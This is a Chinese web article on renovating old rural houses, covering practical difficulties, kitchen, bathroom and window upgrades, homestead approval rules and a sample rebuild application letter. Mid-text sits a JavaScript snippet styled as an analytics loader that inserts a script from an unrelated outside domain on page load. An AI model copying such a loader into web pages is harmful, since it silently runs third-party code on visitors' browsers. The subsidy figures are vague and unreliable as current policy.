农村旧房改造，这些要点值得注意

农村旧房改造是近来比较时兴的一个项目，从“逃离乡村”到“回到乡村”，似乎越来越多的人意识到了乡村的好处，随着观念的变化，农村旧房改造也提上了日程。农村旧房改造所涉及的老房子一般房龄超过10年，状态可能堪忧，光小动不足以解决问题。屋龄在20年以上的房子，就得大刀阔斧地动了，墙体结构、线路管道以及墙面门窗，都需要进行一番大改造。农村旧房改造并不简单。其一，局部装修选材麻烦，屋主需要为人工、材料四处奔走，对时间和精力要求很高；其二，老房改造的市场比较混乱，难以找到靠得住的，有经验的装修公司，装修质量无法保证；第三，成本费用难以把控，老房翻新恐变成一件吃力不讨好的事；第四，改造过程中产生的大量建筑垃圾难以处理，需要运往指定的地点，还要有防尘措施。农村旧房改造的过程中，除了上面所说的难题，还表现在一些细节上。主要是厨卫的改造与门窗的翻新。老房的设计理念与现在有较大差异，旧式卫生间简单、面积小，没有装饰，只有蹲坑、洗脸盆、拖布池。新的卫生间设备都要添置，相应地，电气管线、给排水管线也要重新布线、打洞开槽。旧式厨房能做饭就行，布置杂乱无章，墙面污染严重，整体环境很不卫生。也要添置新的厨房设备，经过合理地设计规划再安装摆放到厨房。旧式门窗以木门窗、钢门窗为主，由于年代久远，原门窗的防噪、隔热、防寒功能已经不怎么理想，需要换成塑钢外窗或断桥铝窗保证其密闭性。农村旧房改造所涉及的老房子一般房龄较大，要想彻底改造，必须大刀阔斧地动，墙体结构、线路管道以及墙面门窗，都需要进行一番大改造。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

农村旧房改造政策举例以及申请书模板

现在不少地方都开始推行新农村建设，努力建造成为文明和谐的新社会。而作为农村中饱受诟病的危房，它的存在无疑阻碍了农村的进一步发展，所以有关部门制定了一系列的政策，它们可以帮助起到对农村旧房翻新的借鉴以及指导作用。那么今天为大家普及的信息就是关于政策解读、申请书的模板等等具体详细的知识，有兴趣的朋友可以关注。一、农村旧房改造申请书建房申请书(改建)某某土地规划(管理所)局：我叫某某，是某乡某村某组的村民，现家里在册人口X人，居住面积X平米。由于房屋年久失修或狭小(根据实际情况写)，现申请在原宅基地拆建新房。建房方案：拆除现有的住房，在老地基建新房，不占用其他用地。所建房屋为一楼一底或平房X间，总建筑面积约X平方米。特此申请，请审核批准，盼复。此致敬礼!附：1、现住房照片2、村委会证明。3、原房产证、宅基地证复印件二、农村旧房翻新解读一是农村建房坚持一户一宅基地的原则，不得一户占有多处宅基地;二是农村新建住房、旧房翻新均需向当地国土房管部门提出申请，领取农村宅基地审批表格，并提交户口本等复印件，由国土房管部门派专人现场勘查，报区国土部门审批同意后，方可动工兴建;三是农村村民旧房翻新，如占地面积超出原宅基地面积，在人平30平方米的允许面积内可予以审批，如超出人均规定面积，不予审批。三、2017农村危房改造政策第一，根据《中华人民共和国城乡规划法》规定：在城市、镇规划区内农村旧房翻新重建应向我局申请办理建设工程规划许可证。申请办理建设工程规划许可证，报建户应到我局规划处进行申报，申报时应提交个人申请、土地使用证、四邻协议、建设工程规划图、建筑工程设计方案等材料。第二，有关收费政策方面：农村旧房翻新重建不收取任何行政事业性收费。但是，根据《城乡规划法》规定，农村旧房翻新重建必须符合规划，因此建房户需聘请具有资质的规划设计单位进行规划，在此过程中，建房户需向规划设计单位支付一项服务性费用，即规划测绘费。第三，关于补助方面：旧房翻新的补助有的地方有，云南某地2008年是5000块，2009年是10000块，但具体是中央财政还是地方财政补贴的还不是很清楚，有些地方改造新农村(即所有房子由政府统一新建，然后每户居民可享受一套两层住房，每平方米的价格在700-800左右的，但这个是在2014年左右实施)，有的是中央财政管，有的地方时由地方政府进行改造、补贴后跟上头进行申请的。上文普及的关于农村旧房翻新政策的条款解读以及举例分析告诉我们，如果想要翻新农村旧房，那么需要综合参考现行的规定条款，确定所属于的类别，从而能够收获到一定的补助，并且还有效解决了危房的质量问题和安全威胁。除此之外上文针对想要申请改造的朋友给出的申请书也是值得参考借鉴的，大家可以综合自己的情况学习。